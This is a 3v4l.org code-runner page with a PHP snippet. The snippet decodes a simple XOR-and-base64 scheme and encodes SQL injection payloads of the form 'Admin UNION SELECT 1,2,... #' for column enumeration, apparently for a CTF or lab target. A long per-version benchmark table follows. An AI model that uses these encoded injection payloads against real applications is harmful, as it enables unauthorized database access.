3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin UNION SELECT 1,2,3 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6,7 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6,7,8 #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.00618.68
8.3.50.0140.00922.05
8.3.40.0180.00018.88
8.3.30.0130.00318.88
8.3.20.0040.00418.90
8.3.10.0080.00021.13
8.3.00.0070.00023.71
8.2.180.0110.00418.66
8.2.170.0090.01222.96
8.2.160.0030.01020.57
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0050.00319.69
8.2.110.0000.01020.52
8.2.100.0080.00318.03
8.2.90.0060.00319.23
8.2.80.0000.00818.05
8.2.70.0080.00017.88
8.2.60.0040.00418.05
8.2.50.0000.00818.07
8.2.40.0050.00318.22
8.2.30.0000.00719.48
8.2.20.0040.00417.78
8.2.10.0000.00717.92
8.2.00.0070.00317.83
8.1.280.0140.00725.92
8.1.270.0000.00823.99
8.1.260.0020.00526.35
8.1.250.0110.00028.09
8.1.240.0090.00022.59
8.1.230.0070.00320.96
8.1.220.0060.00318.77
8.1.210.0040.00418.91
8.1.200.0110.00017.60
8.1.190.0040.00417.64
8.1.180.0020.00518.10
8.1.170.0040.00418.74
8.1.160.0000.00819.03
8.1.150.0000.00818.82
8.1.140.0030.00517.70
8.1.130.0050.00317.80
8.1.120.0020.00517.65
8.1.110.0030.00517.66
8.1.100.0040.00417.68
8.1.90.0030.00517.61
8.1.80.0040.00417.52
8.1.70.0050.00217.54
8.1.60.0060.00317.65
8.1.50.0030.00517.65
8.1.40.0040.00417.58
8.1.30.0080.00017.85
8.1.20.0060.00317.75
8.1.10.0070.00017.80
8.1.00.0050.00217.77
8.0.300.0000.00820.07
8.0.290.0040.00417.30
8.0.280.0000.00718.42
8.0.270.0000.00717.27
8.0.260.0050.00317.00
8.0.250.0000.00817.11
8.0.240.0020.00517.18
8.0.230.0020.00517.14
8.0.220.0050.00516.97
8.0.210.0000.00717.06
8.0.200.0030.00717.17
8.0.190.0040.00417.18
8.0.180.0040.00417.07
8.0.170.0040.00416.98
8.0.160.0040.00417.07
8.0.150.0050.00217.07
8.0.140.0000.00716.94
8.0.130.0000.00613.49
8.0.120.0090.00017.00
8.0.110.0050.00317.02
8.0.100.0030.00717.03
8.0.90.0000.00817.14
8.0.80.0090.00617.10
8.0.70.0030.00517.12
8.0.60.0030.00616.88
8.0.50.0000.00816.93
8.0.30.0100.00917.45
8.0.20.0160.00317.48
8.0.10.0040.00417.17
8.0.00.0130.01016.97
7.4.330.0030.00314.95
7.4.320.0060.00016.75
7.4.300.0000.00716.65
7.4.290.0040.00416.90
7.4.280.0030.00316.73
7.4.270.0040.00416.87
7.4.260.0030.00313.50
7.4.250.0000.00816.83
7.4.240.0000.00716.68
7.4.230.0000.00716.69
7.4.220.0120.01516.75
7.4.210.0080.00916.77
7.4.200.0000.00816.64
7.4.190.0070.00016.83
7.4.160.0080.00816.74
7.4.150.0110.00717.40
7.4.140.0070.01117.86
7.4.130.0080.01016.66
7.4.120.0080.01016.81
7.4.110.0030.01516.68
7.4.100.0140.00416.63
7.4.90.0190.00616.73
7.4.80.0130.00419.39
7.4.70.0040.01416.74
7.4.60.0090.00916.86
7.4.50.0030.00616.80
7.4.40.0110.00622.52
7.4.30.0040.01316.79
7.4.00.0060.01115.04
7.3.330.0000.00513.52
7.3.320.0000.00513.34
7.3.310.0000.00716.45
7.3.300.0030.00316.41
7.3.290.0110.00416.54
7.3.280.0070.01016.55
7.3.270.0030.01417.40
7.3.260.0080.01518.24
7.3.250.0100.00816.65
7.3.240.0100.01316.62
7.3.230.0090.00916.52
7.3.210.0120.00916.57
7.3.200.0120.00619.39
7.3.190.0040.01716.57
7.3.180.0080.00816.88
7.3.170.0030.01416.61
7.3.160.0030.01416.69
7.3.120.0050.01215.03
7.3.110.0000.01815.26
7.3.100.0030.01314.69
7.3.90.0090.00614.94
7.3.80.0000.01614.94
7.3.70.0070.01014.86
7.3.60.0030.00715.02
7.3.50.0030.00614.92
7.3.40.0090.00615.03
7.3.30.0060.00315.09
7.3.20.0100.00316.77
7.3.10.0030.01016.62
7.3.00.0090.00316.98
7.2.330.0130.00516.91
7.2.320.0040.01316.94
7.2.310.0150.00916.92
7.2.300.0130.00316.99
7.2.290.0130.00816.89
7.2.250.0030.01615.34
7.2.240.0100.01015.05
7.2.230.0060.00915.29
7.2.220.0060.00615.25
7.2.210.0030.01315.34
7.2.200.0030.01415.30
7.2.190.0060.00915.29
7.2.180.0100.00715.26
7.2.170.0030.00615.07
7.2.60.0070.00316.84
7.2.00.0090.00619.63
7.1.330.0060.00916.18
7.1.320.0030.00916.19
7.1.310.0030.01316.02
7.1.300.0040.01115.77
7.1.290.0030.00615.78
7.1.280.0030.00715.87
7.1.270.0100.00316.05
7.1.260.0090.00616.21
7.1.200.0050.01215.56
7.1.100.0060.00618.41
7.1.70.0030.00717.38
7.1.60.0030.02119.40
7.1.50.0070.01717.21
7.1.00.0030.07022.34
7.0.200.0000.01016.77
7.0.140.0070.07321.99
7.0.110.0070.09019.90
7.0.100.0100.08320.07
7.0.90.0030.09019.95
7.0.80.0100.08319.91
7.0.70.0030.08319.86
7.0.60.0070.06020.10
7.0.50.0200.07019.97
7.0.40.0130.05319.74
7.0.30.0030.08719.78
7.0.20.0170.06719.85
7.0.10.0170.06719.69
7.0.00.0070.08019.82
5.6.280.0070.07021.07
5.6.260.0030.05320.69
5.6.250.0170.07020.70
5.6.240.0070.08320.57
5.6.230.0030.09320.68
5.6.220.0100.08320.46
5.6.210.0130.06720.73
5.6.200.0070.07720.66
5.6.190.0070.07320.65
5.6.180.0100.06720.57
5.6.170.0100.08020.71
5.6.160.0130.08020.59
5.6.150.0070.09020.57
5.6.140.0030.09020.59
5.6.130.0070.08020.61
5.6.120.0130.07020.55
5.6.110.0030.05020.61
5.6.100.0030.08020.60
5.6.90.0070.05320.64
5.6.80.0000.04320.00
5.6.70.0030.04019.97
5.6.60.0070.03719.94
5.6.50.0100.03319.94
5.6.40.0070.05319.95
5.6.30.0000.08320.01
5.6.20.0030.05719.99
5.6.10.0000.04319.92
5.6.00.0030.05019.92
5.5.380.0000.09020.36
5.5.370.0200.07020.58
5.5.360.0130.04720.41
5.5.350.0030.09020.41
5.5.340.0170.06720.85
5.5.330.0070.08720.89
5.5.320.0000.08320.97
5.5.310.0070.08720.79
5.5.300.0100.08720.79
5.5.290.0100.08720.98
5.5.280.0100.08321.02
5.5.270.0100.08020.77
5.5.260.0070.05320.97
5.5.250.0030.05020.72
5.5.240.0070.03720.25
5.5.230.0070.04020.33
5.5.220.0030.04020.19
5.5.210.0030.05020.28
5.5.200.0070.03720.26
5.5.190.0030.07020.22
5.5.180.0030.03720.34
5.5.160.0130.06720.16
5.5.150.0000.04020.07
5.5.140.0070.03720.16
5.5.130.0070.03720.30
5.5.120.0000.05720.36
5.5.110.0030.04020.16
5.5.100.0070.05020.17
5.5.90.0000.05020.13
5.5.80.0070.04320.21
5.5.70.0070.03720.19
5.5.60.0030.06020.15
5.5.50.0100.04019.98
5.5.40.0000.04020.14
5.5.30.0130.04720.06
5.5.20.0030.05320.26
5.5.10.0200.06020.03
5.5.00.0100.03020.11
5.4.450.0030.06019.64
5.4.440.0130.08019.47
5.4.430.0100.05019.35
5.4.420.0070.05719.50
5.4.410.0100.03719.51
5.4.400.0030.05318.95
5.4.390.0130.03018.95
5.4.380.0030.04018.99
5.4.370.0030.03319.18
5.4.360.0100.04719.23
5.4.350.0030.08319.09
5.4.340.0070.07019.09
5.4.320.0030.06319.18
5.4.310.0000.04019.18
5.4.300.0030.07719.36
5.4.290.0000.04319.16
5.4.280.0000.04019.20
5.4.270.0070.04019.00
5.4.260.0070.03719.31
5.4.250.0000.04019.08
5.4.240.0070.03719.00
5.4.230.0000.04018.94
5.4.220.0030.03319.16
5.4.210.0030.03319.01
5.4.200.0030.03719.00
5.4.190.0070.06319.16
5.4.180.0130.07019.30
5.4.170.0070.03319.09
5.4.160.0030.03718.99
5.4.150.0030.03719.18
5.4.140.0030.07016.36
5.4.130.0100.05016.43
5.4.120.0000.03716.55
5.4.110.0100.03016.37
5.4.100.0070.07016.46
5.4.90.0000.08016.46
5.4.80.0100.07316.53
5.4.70.0170.06716.63
5.4.60.0100.07716.40
5.4.50.0030.07716.29
5.4.40.0030.07716.58
5.4.30.0100.04716.52
5.4.20.0070.07016.53
5.4.10.0030.07716.47
5.4.00.0130.07015.97
5.3.290.0070.03714.82
5.3.280.0030.05014.61
5.3.270.0070.04014.61
5.3.260.0030.04714.75
5.3.250.0030.08014.74
5.3.240.0000.03714.63
5.3.230.0000.04314.61
5.3.220.0030.04014.60
5.3.210.0000.05014.70
5.3.200.0000.03714.59
5.3.190.0000.03314.59
5.3.180.0070.07314.53
5.3.170.0030.07714.60
5.3.160.0130.07014.70
5.3.150.0030.08314.66
5.3.140.0100.04014.59
5.3.130.0100.07314.56
5.3.120.0030.08314.51
5.3.110.0030.04714.57
5.3.100.0100.07314.18
5.3.90.0100.07314.06
5.3.80.0070.07714.25
5.3.70.0130.06714.03
5.3.60.0170.07314.15
5.3.50.0030.07714.10
5.3.40.0100.07014.04
5.3.30.0030.07314.02
5.3.20.0070.08013.84
5.3.10.0100.06313.68
5.3.00.0030.07013.64
5.2.170.0030.06712.95
5.2.160.0100.05712.95
5.2.150.0030.05712.95
5.2.140.0070.06312.95
5.2.130.0130.06012.95
5.2.120.0030.06312.95
5.2.110.0130.05712.95
5.2.100.0130.05312.95
5.2.90.0030.07012.95
5.2.80.0170.06012.95
5.2.70.0030.06312.95
5.2.60.0070.06312.95
5.2.50.0100.05712.95
5.2.40.0130.05312.95
5.2.30.0030.06712.95
5.2.20.0070.05012.95
5.2.10.0070.06012.95
5.2.00.0070.06312.95
5.1.60.0100.04712.95
5.1.50.0070.04712.95
5.1.40.0230.03712.95
5.1.30.0030.05712.95
5.1.20.0000.06012.95
5.1.10.0030.06012.95
5.1.00.0070.05312.95
5.0.50.0070.04312.95
5.0.40.0030.04312.95
5.0.30.0000.05012.95
5.0.20.0070.03012.95
5.0.10.0070.04012.95
5.0.00.0000.05312.95
4.4.90.0030.03312.95
4.4.80.0100.03012.95
4.4.70.0030.03712.95
4.4.60.0000.03712.95
4.4.50.0070.03012.95
4.4.40.0030.05712.95
4.4.30.0070.03312.95
4.4.20.0000.04012.95
4.4.10.0100.02712.95
4.4.00.0030.05312.95
4.3.110.0030.03712.95
4.3.100.0070.03312.95
4.3.90.0030.03712.95
4.3.80.0000.04012.95
4.3.70.0030.03312.95
4.3.60.0070.03012.95
4.3.50.0030.03712.95
4.3.40.0030.05312.95
4.3.30.0030.03312.95
4.3.20.0000.03712.95
4.3.10.0000.03712.95
4.3.00.0000.04012.95

preferences:
48.45 ms | 401 KiB | 5 Q